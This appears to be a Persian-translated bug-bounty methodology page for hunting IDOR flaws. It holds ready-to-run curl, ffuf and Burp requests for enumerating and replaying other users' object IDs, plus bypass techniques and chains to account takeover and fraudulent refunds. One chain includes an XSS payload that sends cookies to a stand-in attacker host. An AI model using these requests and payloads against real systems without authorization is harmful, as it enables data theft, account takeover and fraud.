hunt-idor

skillupstreamکلاس آسیب‌پذیریگزارش: ۳۹۲۴ کیلوبایت۱۱ بخش

اسکیل کلاس آسیب‌پذیری برای IDOR (Insecure Direct Object Reference) — استخراج‌شده از ۲۶ گزارش عمومی باگ‌بانتی. روش‌شناسی شکار، سیگنال‌های سطح حمله، payloadها، bypassها، دروازه‌ی اعتبارسنجی و زنجیره‌های attack را پوشش می‌دهد. هنگام شکار IDOR روی هر تارگتی به‌کار می‌آید.

توضیح انگلیسی اصلی (مرجع)

Hunting skill for idor vulnerabilities. Built from 26 public bug bounty reports. Use when hunting idor on any target.

فلوی اجرای گام‌به‌گام

◆
hunt-idorشروع اجرا
۱
همه‌ی ارجاع‌های شی (object reference) اپلیکیشن را نقشه کنید
۲
انواع ID را دسته‌بندی کنید
۳
دو حساب جداگانه با سطح دسترسی یکسان بسازید
۴
IDهای منابع User A را با هویت User B replay کنید
۵
سناریوهای cross-tenant/cross-org را تست کنید
۶
GraphQL را به‌طور ویژه تست کنید
۷
عملیات write/destructive را تست کنید، نه فقط read
۸
IDORها را به هم زنجیره کنید
۹
edge caseهای تغییر state را تست کنید
۱۰
تفاوت دقیق را مستند کنید
۱۱
مهاجم همین حالا چه کاری می‌تواند انجام دهد؟
۱۲
قربانی چه چیزی از دست می‌دهد؟
۱۳
آیا در ۱۰ دقیقه از صفر قابل‌بازتولید است؟
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۱۳ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-idorکلاس آسیب‌پذیری · ۱۱ بخش۱اهداف ارزشمند۲سطح حمله و سیگنال‌ها۳مراحل شکار۴Payload و الگوهای تشخیص۵علل ریشه‌ای۶تکنیک‌های Bypass۷دروازه‌ی اعتبارسنجی۸اهداف ارزشمند۹زنجیره‌ها و ترکیب‌ها۱۰دروازه‌ی اعتبارسنجی۱۱اطلاعات عملیاتی
اهداف ارزشمند · ۲سطح حمله و سیگنال‌ها · ۱مراحل شکار · ۳Payload و الگوهای تشخیص · ۲علل ریشه‌ای · ۱تکنیک‌های Bypass · ۲

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۱ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

چرا IDOR پول زیادی می‌دهد:

  • دسترسی مستقیم به داده‌ی سایر کاربران بدون نیاز به دورزدن احراز هویت — impact روشن و قابل‌اثبات
  • به‌راحتی با privilege escalation، کلاه‌برداری مالی و تسخیر حساب (ATO) زنجیره می‌شود
  • تقریباً هر اپلیکیشنی که منابع متعلق به کاربر دارد را درگیر می‌کند

ارزشمندترین انواع asset (بر اساس پتانسیل payout):

نوع assetچرا پول می‌دهد
اسناد مالی / APIهای صورتحسابافشای PII + داده‌ی مالی (Shopify، Uber، PayPal)
ریپازیتوری‌های خصوصی / سورس‌کدسرقت مالکیت فکری، از دست رفتن داده‌ی حیاتی (GitHub)
پیام‌های کاربر / DMنقض حریم خصوصی در مقیاس (Reddit)
endpointهای مدیریت حسابافزودن/حذف کاربر، privilege escalation (PayPal، Mozilla)
مدیریت کسب‌وکار/سازمانفراتننت escalation، PII کارمندان (Uber)
اقدامات مدیریتی/نظارتیخرابکاری عملیاتی (لاگ‌های مد Reddit)

برنامه‌هایی که بیشتر برای IDOR پول می‌دهند:

  • پلتفرم‌های چندمستأجری (SaaS، ابزارهای B2B)
  • فین‌تک و پردازشگرهای پرداخت
  • شبکه‌های اجتماعی با محتوای خصوصی
  • ابزارهای توسعه‌دهنده با جداسازی org/repo
۲

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۲ از ۱۱

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

الگوهای URL که IDOR را فریاد می‌زنند:

/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy

سیگنال‌های header پاسخ:

  • Content-Type: application/json روی endpointهایی که ID خام می‌پذیرند
  • نبود X-Frame-Options یا میکانفیگ‌های CORS همراه با پارامترهای ID
  • توکن‌های Authorization: Bearer که سطح کاربرند ولی به منابع سطح سازمان می‌خورند

الگوهای سورس JavaScript:

// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId

سیگنال‌های tech stack:

  • endpointهای GraphQL (IDORهای query-based معمولاً از قلم می‌افتند)
  • APIهای REST با IDهای صحیح متوالی (آسیب‌پذیرترین حالت)
  • UUIDهای قابل‌پیش‌بینی یا لو‌رفته در پاسخ‌های دیگر
  • اپ‌های SaaS چندمستأجری با پارامترهای org_id، account_id، business_id
  • اپلیکیشن‌های موبایل (APK را Burp کنید — APIهای موبایل معمولاً بررسی authorization را رد می‌کنند)
۳

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۳ از ۱۱

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. همه‌ی ارجاع‌های شی (object reference) اپلیکیشن را نقشه کنید
  • با حساب User A همه‌ی قابلیت‌ها را مرور کنید
  • همه‌ی requestها را در Burp Suite بگیرید
  • برای requestهایی فیلتر بزنید که دارای: id=، _id=، uuid=، /v1/{noun}/{id} یا پارامترهای عددی/UUID هستند
  1. انواع ID را دسته‌بندی کنید
  • اعداد متوالی ← شمردن ±۱ و ±۱۰۰
  • UUIDها ← بررسی کنید آیا در پاسخ‌های دیگر یا فایل‌های JS ظاهر می‌شوند
  • IDهای hash‌شده ← بررسی کنید آیا در endpointهای عمومی، metadata یا GraphQL introspection لو می‌روند
  1. دو حساب جداگانه با سطح دسترسی یکسان بسازید
  • User A: مالک منبع
  • User B: حساب مهاجم
  • همه‌ی IDهای متعلق به User A را هنگام احراز هویت‌شده به‌عنوان A ثبت کنید
  1. IDهای منابع User A را با هویت User B replay کنید
  • cookie/token جلسه را با credentialهای User B جایگزین کنید
  • همان requestها را با ID شیء متعلق به A بفرستید
  • همه‌ی verbهای HTTP را تست کنید: GET، POST، PUT، PATCH، DELETE روی هر endpoint
  1. سناریوهای cross-tenant/cross-org را تست کنید
  • در سازمان‌ها/کسب‌وکارهای جداگانه حساب بسازید
  • بررسی کنید آیا session سازمان B می‌تواند به IDهای سازمان A اشاره کند
  • توجه ویژه به endpointهای admin/management
  1. GraphQL را به‌طور ویژه تست کنید
  • introspection بزنید: { __schema { queryType { fields { name } } } }
  • برای هر query/mutation که آرگومان id می‌گیرد، ID کاربر دیگری را جایگزین کنید
  • هم queryها (read) و هم mutationها (write/delete) را تست کنید
  1. عملیات write/destructive را تست کنید، نه فقط read
  • آیا User B می‌تواند منابع User A را DELETE کند؟
  • آیا User B می‌تواند محتوای User A را MODIFY کند؟
  • آیا User B می‌تواند خودش را به حساب User A اضافه کند؟
  1. IDORها را به هم زنجیره کنید
  • از داده‌ی لو‌رفته‌ی یک IDOR (org IDها، user IDها) برای تغذیه‌ی بعدی استفاده کنید
  • الگو: IDOR ← ID لو‌رفته ← IDOR دوم ← privilege escalation
  1. edge caseهای تغییر state را تست کنید
  • توکن/دعوت‌نامه‌های منقضی‌شده که هنوز قابل‌قبول‌اند
  • race condition روی ID منابع
  • ارجاع‌های غیرمستقیم: ?sort=id یا ?filter[user_id]=
  1. تفاوت دقیق را مستند کنید
  • تأیید کنید User B هیچ دسترسی قانونی به منبع User A ندارد
  • از پاسخ 200 OK در برابر 403/404 موردانتظار اسکرین‌شات/لاگ بگیرید
مراحل استخراج‌شده
  1. ۱همه‌ی ارجاع‌های شی (object reference) اپلیکیشن را نقشه کنید
  2. ۲با حساب User A همه‌ی قابلیت‌ها را مرور کنید
  3. ۳همه‌ی requestها را در Burp Suite بگیرید
  4. ۴برای requestهایی فیلتر بزنید که دارای: `id=`، `_id=`، `uuid=`، `/v1/{noun}/{id}` یا پارامترهای عددی/UUID هستند
  5. ۵انواع ID را دسته‌بندی کنید
  6. ۶اعداد متوالی ← شمردن ±۱ و ±۱۰۰
  7. ۷UUIDها ← بررسی کنید آیا در پاسخ‌های دیگر یا فایل‌های JS ظاهر می‌شوند
  8. ۸IDهای hash‌شده ← بررسی کنید آیا در endpointهای عمومی، metadata یا GraphQL introspection لو می‌روند
  9. ۹دو حساب جداگانه با سطح دسترسی یکسان بسازید
  10. ۱۰User A: مالک منبع
  11. ۱۱User B: حساب مهاجم
  12. ۱۲همه‌ی IDهای متعلق به User A را هنگام احراز هویت‌شده به‌عنوان A ثبت کنید
  13. ۱۳IDهای منابع User A را با هویت User B replay کنید
  14. ۱۴cookie/token جلسه را با credentialهای User B جایگزین کنید
۴

Payload و الگوهای تشخیص

Payload & Detection Patterns
ترجمه‌ی کامل ✓بخش ۴ از ۱۱

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

تست پایه‌ی IDOR با curl (cookie/token را عوض کنید):

# Get User A's resource ID while authenticated as A
curl -s -H "Cookie: session=USER_A_SESSION" \
  https://target.com/api/v1/invoices/12345

# Replay with User B's session
curl -s -H "Cookie: session=USER_B_SESSION" \
  https://target.com/api/v1/invoices/12345

# Success = 200 OK with User A's data

تست IDOR روی GraphQL:

curl -s -X POST https://target.com/graphql \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'

شمردن IDهای متوالی با ffuf:

ffuf -u "https://target.com/api/v1/orders/FUZZ" \
  -w ids.txt \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -mc 200 \
  -o idor_results.json

تولید wordlist از IDهای متوالی:

# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
    for i in range(known_id - 500, known_id + 500):
        f.write(str(i) + "\n")

payload در Burp Intruder برای اسکن IDOR:

GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN

# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200

استخراج IDهای لو‌رفته از JavaScript:

# Find IDs in JS bundles
curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u

# Find object references in API responses
curl -s -H "Cookie: session=USER_A" \
  https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"

الگوهای grep برای بازبینی سورس‌کد:

# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .

# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })

IDOR از طریق دست‌کاری متد HTTP:

# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo "=== $method ==="
  curl -s -X $method \
    -H "Authorization: Bearer USER_B_TOKEN" \
    https://target.com/api/v1/users/USER_A_ID/profile
done
۵

علل ریشه‌ای

Common Root Causes
ترجمه‌ی کامل ✓بخش ۵ از ۱۱

ریشه‌های کدنویسی و طراحی که این باگ را می‌سازند — با مقایسه‌ی کد آسیب‌پذیر/امن

  1. نبود بررسی مالکیت در کوئری‌های ORM
// VULNERABLE: fetches any record
const invoice = await Invoice.findById(req.params.id);

// SECURE: scopes to authenticated user
const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });
  1. authorization در سطح route، نه سطح شیء
  • توسعه‌دهنده چک می‌کند «کاربر لاگین است؟» ولی نه «آیا کاربر مالک این شیء است؟»
  • middleware احراز هویت را تأیید می‌کند؛ handlerهای تکی بررسی مالکیت را رد می‌کنند
  1. اعتماد به IDهای ارسالی کلاینت در body
  • اپ‌های موبایل یا SPA مقدار org_id را در body پست می‌کنند؛ سرور مستقیم استفاده می‌کند بدون تأیید عضویت caller
  1. resolverهای GraphQL بدون authorization سطح فیلد
  • resolverها با ID از دیتابیس می‌خوانند بدون بررسی مجوز کاربر درخواست‌کننده
  • مخصوصاً وقتی resolverها خودکار از schema تولید شده‌اند
  1. authorization ناسازگار بین verbهای HTTP
  • endpoint مربوط به GET محافظت می‌شود؛ POST/DELETE روی همان مسیر نه
  • رایج در APIهایی که افزایشی توسط توسعه‌دهندگان مختلف ساخته شده‌اند
  1. ارجاع‌های غیرمستقیم از طریق اشیا مرتبط لو می‌روند
  • شیء A (قابل‌دسترس) ارجاعی به شیء B (باید خصوصی بماند) دارد
  • توسعه‌دهنده فقط دسترسی مستقیم به B را محافظت کرده، نه ارجاع غیرمستقیم از طریق A
  1. race condition و IDORهای وابسته به state
  • authorization هنگام ساخت چک می‌شود، نه هنگام دسترسی
  • inviteها/tokenها پس از لغو مجوز اعطاکننده همچنان معتبر می‌مانند
۶

تکنیک‌های Bypass

Bypass Techniques
ترجمه‌ی کامل ✓بخش ۶ از ۱۱

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

دفاع: UUID به‌جای اعداد متوالی

  • ‏bypass: UUIDها اغلب در پاسخ‌های دیگر API، ایمیل‌های اعلان، webhookها، کوئری‌های GraphQL یا سورس JS لو می‌روند
  • ‏تکنیک: UUIDها را از endpointهای قابل‌دسترس برداشت کنید و روی endpointهای محدود replay کنید

دفاع: ارجاع‌های غیرمستقیم/hash‌شده

  • ‏bypass: hash را decode کنید (معمولاً base64 یا مبهم‌سازی ساده)، یا ID اصلی را در پاسخ دیگری پیدا کنید
  • ‏تکنیک: echo "dXNlcl8xMjM0NQ==" | base64 -d ← user_12345

دفاع: توکن‌های کوتاه‌عمر مخصوص هر منبع

  • ‏bypass: گاهی توکن‌ها بین کاربران قابل‌استفاده‌اند اگر سرور فقط قالب توکن را اعتبارسنجی کند نه binding آن را
  • ‏تکنیک: از توکن خودتان برای دسترسی به ID منبع کاربر دیگر استفاده کنید

دفاع: rate limit روی شمردن

  • ‏bypass: شمردن آرام (۱ req در ۵ ثانیه)، IPهای توزیع‌شده، یا IDORهای غیرشمارشی (ID هدف را از نشتی دیگر دارید)

دفاع: بررسی user_id در WHERE

  • ‏bypass: بررسی کنید آیا همان endpoint در نسخه‌ی دیگری از API موجود است (/v1/ در برابر /v2/) — منطق authorization معمولاً وابسته به نسخه است
  • ‏تکنیک: bundleهای JS را برای فراخوانی نسخه‌های قدیمی API بررسی کنید

دفاع: محدودیت‌های CORS

  • ‏bypass: IDOR نیازی به exploitation بین-مبدایی ندارد — شما endpointهای API را مستقیم با session خودتان تست می‌کنید

دفاع: ارجاع‌های «مبهم» از طریق session سمت سرور

  • ‏bypass: هر endpointی را که ID داخلی را برمی‌گرداند پیدا کنید و آن را جای دیگری به‌کار ببرید؛ APIها اغلب IDها را در Location headerها، پیام‌های خطا یا metadata لو می‌دهند

دفاع: فیلتر پارامتر/WAF روی الگوهای رایج

  • ‏bypass: JSON تودرتو {"data": {"id": "VICTIM_ID"}}، آلودگی پارامتر HTTP ?id=own_id&id=victim_id، یا تغییرنام پارامتر user_id، userId، uid، account را امتحان کنید
مراحل استخراج‌شده
  1. ۱‏bypass: UUIDها اغلب در پاسخ‌های دیگر API، ایمیل‌های اعلان، webhookها، کوئری‌های GraphQL یا سورس JS لو می‌روند
  2. ۲‏تکنیک: UUIDها را از endpointهای قابل‌دسترس برداشت کنید و روی endpointهای محدود replay کنید
  3. ۳‏bypass: hash را decode کنید (معمولاً base64 یا مبهم‌سازی ساده)، یا ID اصلی را در پاسخ دیگری پیدا کنید
  4. ۴‏تکنیک: `echo "dXNlcl8xMjM0NQ==" | base64 -d` ← `user_12345`
  5. ۵‏bypass: گاهی توکن‌ها بین کاربران قابل‌استفاده‌اند اگر سرور فقط قالب توکن را اعتبارسنجی کند نه binding آن را
  6. ۶‏تکنیک: از توکن خودتان برای دسترسی به ID منبع کاربر دیگر استفاده کنید
  7. ۷‏bypass: شمردن آرام (۱ req در ۵ ثانیه)، IPهای توزیع‌شده، یا IDORهای غیرشمارشی (ID هدف را از نشتی دیگر دارید)
  8. ۸‏bypass: بررسی کنید آیا همان endpoint در نسخه‌ی دیگری از API موجود است (`/v1/` در برابر `/v2/`) — منطق authorization معمولاً وابسته به نسخه است
  9. ۹‏تکنیک: bundleهای JS را برای فراخوانی نسخه‌های قدیمی API بررسی کنید
  10. ۱۰‏bypass: IDOR نیازی به exploitation بین-مبدایی ندارد — شما endpointهای API را مستقیم با session خودتان تست می‌کنید
  11. ۱۱‏bypass: هر endpointی را که ID داخلی را *برمی‌گرداند* پیدا کنید و آن را جای دیگری به‌کار ببرید؛ APIها اغلب IDها را در `Location` headerها، پیام‌های خطا یا metadata لو می‌دهند
  12. ۱۲‏bypass: JSON تودرتو `{"data": {"id": "VICTIM_ID"}}`، آلودگی پارامتر HTTP `?id=own_id&id=victim_id`، یا تغییرنام پارامتر `user_id`، `userId`، `uid`، `account` را امتحان کنید
۷

دروازه‌ی اعتبارسنجی

Gate 0 Validation
ترجمه‌ی کامل ✓بخش ۷ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

پیش از نوشتن گزارش، به هر سه سؤال پاسخ دهید:

  1. مهاجم همین حالا چه کاری می‌تواند انجام دهد؟

دقیق بنویسید: «مهاجم با یک حساب معتبر می‌تواند GET به /api/v1/invoices/{victim_invoice_id} بفرستد و سند کامل صورتحساب قربانی — شامل نام، نشانی و مبلغ پرداخت — را بدون هیچ ارتباطی با آن حساب دریافت کند.»

  1. قربانی چه چیزی از دست می‌دهد؟

روی سه‌گانه‌ی CIA نگاشت کنید: محرمانگی (افشای داده)، جامعیت (دست‌کاری داده) یا دسترس‌پذیری (حذف داده). «قربانی محرمانگی سوابق مالی خصوصی‌اش را از دست می‌دهد» یا «محتوای قربانی توسط شخص ثالث حذف می‌شود» — پاسخ کلی رد می‌شود.

  1. آیا در ۱۰ دقیقه از صفر قابل‌بازتولید است؟
  • دو حساب تازه ساخته شده ✓
  • request دقیق HTTP با ID قربانی مستند شده ✓
  • پاسخ 200 OK که داده‌ی قربانی را نشان می‌دهد (یا تغییر state تأییدشده) ✓
  • بدون وابستگی به state یا timing ازپیش‌موجود ✓

اگر نمی‌توانید آن را به‌صورت قابل‌بازتولید دمو کنید، گزارش را ثبت نکنید.

مراحل استخراج‌شده
  1. ۱مهاجم همین حالا چه کاری می‌تواند انجام دهد؟
  2. ۲قربانی چه چیزی از دست می‌دهد؟
  3. ۳آیا در ۱۰ دقیقه از صفر قابل‌بازتولید است؟
  4. ۴دو حساب تازه ساخته شده ✓
  5. ۵request دقیق HTTP با ID قربانی مستند شده ✓
  6. ۶پاسخ `200 OK` که داده‌ی قربانی را نشان می‌دهد (یا تغییر state تأییدشده) ✓
  7. ۷بدون وابستگی به state یا timing ازپیش‌موجود ✓
۸

اهداف ارزشمند

Real Impact Examples
ترجمه‌ی کامل ✓بخش ۸ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

سناریوی ۱: افشای داده‌ی مالی + کلاهبرداری صورتحساب میان‌حسابی (الگوی Uber)

مهاجم دو IDOR مرتبط کشف می‌کند: یکی خواندن پیکربندی voucher policy هر سازمان را ممکن می‌کند (که org IDها، لیست ایمیل کارمندان و روش‌های پرداخت را لو می‌دهد) و دیگری امکان تغییر voucher policyها را با همان IDهای لو‌رفته فراهم می‌کند. با زنجیره‌کردن این دو، مهاجم می‌تواند هزینه‌ها را به حساب کسب‌وکاری دلخواه منتقل کند، PII کارمندان را در سطح سازمان‌ها افشا کند و لینک‌های دعوت را تسخیر کند — همه بدون هیچ امتیازی فراتر از یک حساب کاربری عادی. تأثیر: کلاهبرداری مالی + افشای گسترده‌ی PII در پلتفرم B2B.

سناریوی ۲: خواندن ریپازیتوری خصوصی از طریق IDOR روی endpoint مهاجرت (الگوی GitHub)

قابلیت migration به کاربران اجازه‌ی آپلود فایل به یک migration job را می‌دهد. پارامتر migration_id با مالکیت کاربر احراز هویت‌شده اعتبارسنجی نمی‌شود. مهاجم migration خودش را می‌سازد، قالب ID را مشاهده می‌کند و ID مهاجرت خصوصی کاربر دیگری را جایگزین می‌کند — و دسترسی خواندن به فایل‌های سورس‌کد ریپازیتوری‌های خصوصی که هیچ دسترسی‌ای به آن‌ها ندارد به دست می‌آورد. تأثیر: دورزدن کامل محرمانگی برای مالکیت فکری خصوصی.

سناریوی ۳: زنجیره‌ی تسخیر حساب از طریق IDOR پیام‌ها (الگوی Reddit)

مهاجم با جایگزینی thread_id در یک endpoint پیام‌رسان به threadهای خصوصی کاربر دیگر دسترسی پیدا می‌کند. پاسخ شامل محتوای پیام، metadata و — به‌طور حیاتی — توکن‌های session یا verification است که از طریق پیام‌های داخلی ارسال شده‌اند. مهاجم از توکن یافت‌شده در پیام‌ها برای انجام مراحل بازیابی حساب استفاده می‌کند و یک IDOR فقط-خواندنی را به تسخیر کامل حساب ارتقا می‌دهد. تأثیر: compromise کامل حساب کاربران هدف در مقیاس.

۹

زنجیره‌ها و ترکیب‌ها

Chains & Compositions (Senior Hunting)
ترجمه‌ی کامل ✓بخش ۹ از ۱۱

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

IDOR تکی برای خواندن میان‌مستأجری در سطح Low-Medium پول می‌گیرد. پول واقعی در زنجیره‌کردن IDOR به یک primitive تغییر state است که معمولاً عمل میان‌مستأجری را مجاز نمی‌داند — تبدیل «می‌توانم داده‌ی قربانی را ببینم» به «صاحب حساب قربانی هستم». شش زنجیره‌ی زیر پرپرداخت‌ترین ترکیب‌های IDOR در برنامه‌های مدرن باگ‌بانتی‌اند.

زنجیره‌ی ۱ — IDOR روی `/api/users/{id}/email` + نبود Re-Auth ← Password Reset ← ATO
  • ‏الف. IDOR را روی endpoint تغییر ایمیل تأیید کن — request با PUT /api/users/{victim_id}/email {"email":"attacker@evil"} از session مهاجم؛ سرور بدون بررسی مالکیت ایمیل قربانی را عوض می‌کند.
  • ‏ب. فلوی password-reset را روی حساب قربانی بزن — سرور لینک reset را به ایمیل جدید (مال مهاجم) می‌فرستد.
  • ‏ج. لینک reset را باز کن، رمز جدید بگذار، به‌عنوان قربانی لاگین کن.
  • ‏تأثیر: ATO بی‌صدا — قربانی اعلان تغییر ایمیل را نمی‌بیند چون تغییر از API اتفاق افتاده نه از UI کاربرمحور که audit log جداگانه دارد.
  • ‏شکل واقعی: الگوی کلاسیک ATO در افشاهای متعدد SaaS طی ۲۰۱۸–۲۰۲۴. ارجاع متقابل به hunt-ato مسیر ۲ (تغییر ایمیل بدون re-auth).
زنجیره‌ی ۲ — IDOR روی File-Download + `Content-Disposition` کنترل‌شده از filename ← Reflected-XSS-Via-Download ← سرقت session
  • ‏الف. IDOR روی /api/files/{id}/download با دادن ID، فایل هر کاربری را برمی‌گرداند.
  • ‏ب. endpoint دانلود هدر Content-Disposition: attachment; filename="<user-supplied-filename>" را بدون پاک‌سازی newline یا quote می‌گذارد — مهاجم فایلی با نام "; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt آپلود می‌کند.
  • ‏ج. قربانی به دانلود می‌رود ← مرورگر اسکریپت تزریق‌شده در هدر را در کانتکست HTML تفسیر می‌کند ← JS به‌صورت same-origin اجرا می‌شود ← exfil کوکی/توکن.
  • ‏تأثیر: ATO از طریق IDOR + هدر کنترل‌شده از filename — هیچ‌کدام از primitiveها به‌تنهایی critical نیست؛ زنجیره است که critical می‌سازد.
  • ‏شکل واقعی: موارد متعدد افشاشده در endpointهای دانلود SharePoint مایکروسافت ۳۶۵، دانلود attachment گیت‌لب و exportهای SaaS. جفت با hunt-xss زنجیره‌ی ۱ (کلاس XSS هدر پاسخ).
زنجیره‌ی ۳ — IDOR از طریق GraphQL `node(id:)` GID + پیمایش رابطه‌ی Relay ← استخراج انبوه داده‌ی میان‌مستأجری
  • ‏الف. هدف از GraphQL با IDهای سراسری سبک Relay استفاده می‌کند (gid://shopify/Customer/<n> یا الگوهای type:id رمزشده‌ی base64).
  • ‏ب. node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } } — resolver سطح بالای node() درخواست‌کننده را auth می‌کند، اما رابطه‌های تودرتو مالکیت را روی Customer حاصل‌شده دوباره چک نمی‌کنند.
  • ‏ج. روی IDها iterate کن (base64 را decode تا عددی بیرون بکشی، بعد increment کن) تا ایمیل‌ها، مبالغ سفارش و روش‌های پرداخت کل مشتری‌ها را بیرون بکشی.
  • ‏تأثیر: استخراج انبوه PII/داده‌ی مالی میان‌مستأجری. یک باگ، کل دیتابیس.
  • ‏شکل واقعی: Shopify Billing IDOR H1 #2207248 (۵٬۰۰۰ دلار)؛ PolicyPageAssetGroup IDOR H1 #1618347 (۲۵٬۰۰۰ دلار). ارجاع متقابل به hunt-graphql استناد گزارش #۵ و #۲.
زنجیره‌ی ۴ — IDOR روی `/api/teams/{id}/members` + Mass-Assignment در body ← ارتقای نقش روی تیم قربانی
  • ‏الف. IDOR افقی استاندارد — POST /api/teams/{victim_team_id}/members {"email":"attacker@evil"} مهاجم را بدون بررسی مالکیت به‌عنوان عضو عادی اضافه می‌کند.
  • ‏ب. body فیلدهای اضافی را که API فیلتر نکرده می‌پذیرد: {"email":"attacker@evil", "role":"OWNER", "permissions":["*"]} — mass assignment به فیلد role نشت می‌کند.
  • ‏ج. مهاجم به‌عنوان OWNER به تیم قربانی افزوده می‌شود. حالا دسترسی کامل admin به منابع تیم دارد و می‌تواند مالکان واقعی را حذف کند.
  • ‏تأثیر: privilege escalation میان‌مستأجری از طریق IDOR + mass assignment. کارآمدترین زنجیره‌ی تسخیر روی APIهای مدیریت تیم SaaS.
  • ‏شکل واقعی: mutation مستندنشده‌ی fileCopy در Shopify H1 #981472 (۲۰۲۰، ۲٬۰۰۰ دلار)؛ UpdateAtlasApplicationPerson میان‌مستأجری در Stripe H1 #1066203 (۲۰۲۰). ارجاع متقابل به hunt-graphql استناد #۷ و #۸؛ جفت با بخش Mass Assignment در hunt-api-misconfig.
زنجیره‌ی ۵ — IDOR حذف‌نرم + اعتبار توکن پس از حذف ← دسترسی میان‌مستأجری ماندگار
  • ‏الف. endpoint «حذف عضو» را شناسایی کن که فقط فلگ active=false می‌زند ولی session/PAT را باطل نمی‌کند.
  • ‏ب. با حساب کاربری که قرار است حذف شود لاگین کن؛ کوکی session یا PAT را بگیر.
  • ‏ج. ادمین سازمان را وادار کن کاربر را از فلو عادی حذف کند. صبر کن. با توکن گرفته‌شده دوباره API بزن — حالا IDOR زمانی است (کاربر طبق جدول policy دیگر مجوز ندارد، ولی کانتکست auth کش‌شده هنوز عبور می‌کند).
  • ‏تأثیر: هفته‌ها دسترسی میان‌مستأجری پس از خاتمه؛ قرارگرفتن در معرض نقض GDPR/CCPA؛ اهرم بالقوه‌ی اخاذی.
  • ‏شکل واقعی: کلاس ماندگاری کارمند حذف‌شده‌ی Shopify (۲۰۲۲). ارجاع متقابل به hunt-misc زنجیره‌ی ۱ — همان شکل ریشه، primitive شروع متفاوت.
زنجیره‌ی ۶ — IDOR دوتایی (`/users/{id}/orders` ← `/orders/{order_id}/refund`) ← ضربه‌ی مالی روی merchant قربانی
  • ‏الف. IDOR اول: GET /api/users/{victim_id}/orders لیست سفارش‌های قربانی را بدون بررسی مالکیت برمی‌گرداند — مقدارهای معتبر order_id به دست می‌آید.
  • ‏ب. IDOR دوم: POST /api/orders/{order_id}/refund بدون بررسی مالکیت merchant/order روی درخواست‌کننده، استرداد صادر می‌کند.
  • ‏ج. روی هر یک از سفارش‌های اخیر merchant قربانی refund بزن. پول از merchant به مشتری (که آن هم کنترل مهاجم است) جابه‌جا می‌شود.
  • ‏تأثیر: زیان مالی مستقیم به merchant قربانی. قابل‌استثمار انبوه در کل پایگاه merchantهای پلتفرم.
  • ‏شکل واقعی: زنجیره‌های IDOR متعدد افشاشده در پلتفرم‌های تجارت الکترونیک ۲۰۱۹–۲۰۲۳. ارجاع متقابل به زنجیره‌ی hunt-business-logic (ضربه‌ی مالی از سردرگمی ماشین state).
الگوی سطح-اپراتور

وقتی یک read-IDOR را در مرحله‌ی A تأیید کردی، بلافاصله بپرس: کدام تغییر state همان ID را می‌پذیرد و ممکن است آن هم IDOR باشد؟ زنجیره معمولاً یکی از این‌هاست: (۱) password reset / تغییر ایمیل در گام نهایی ← ATO؛ (۲) refund / withdraw / transfer ← مالی؛ (۳) تغییر نقش / افزودن عضو ← ارتقای امتیاز.

۱۰

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

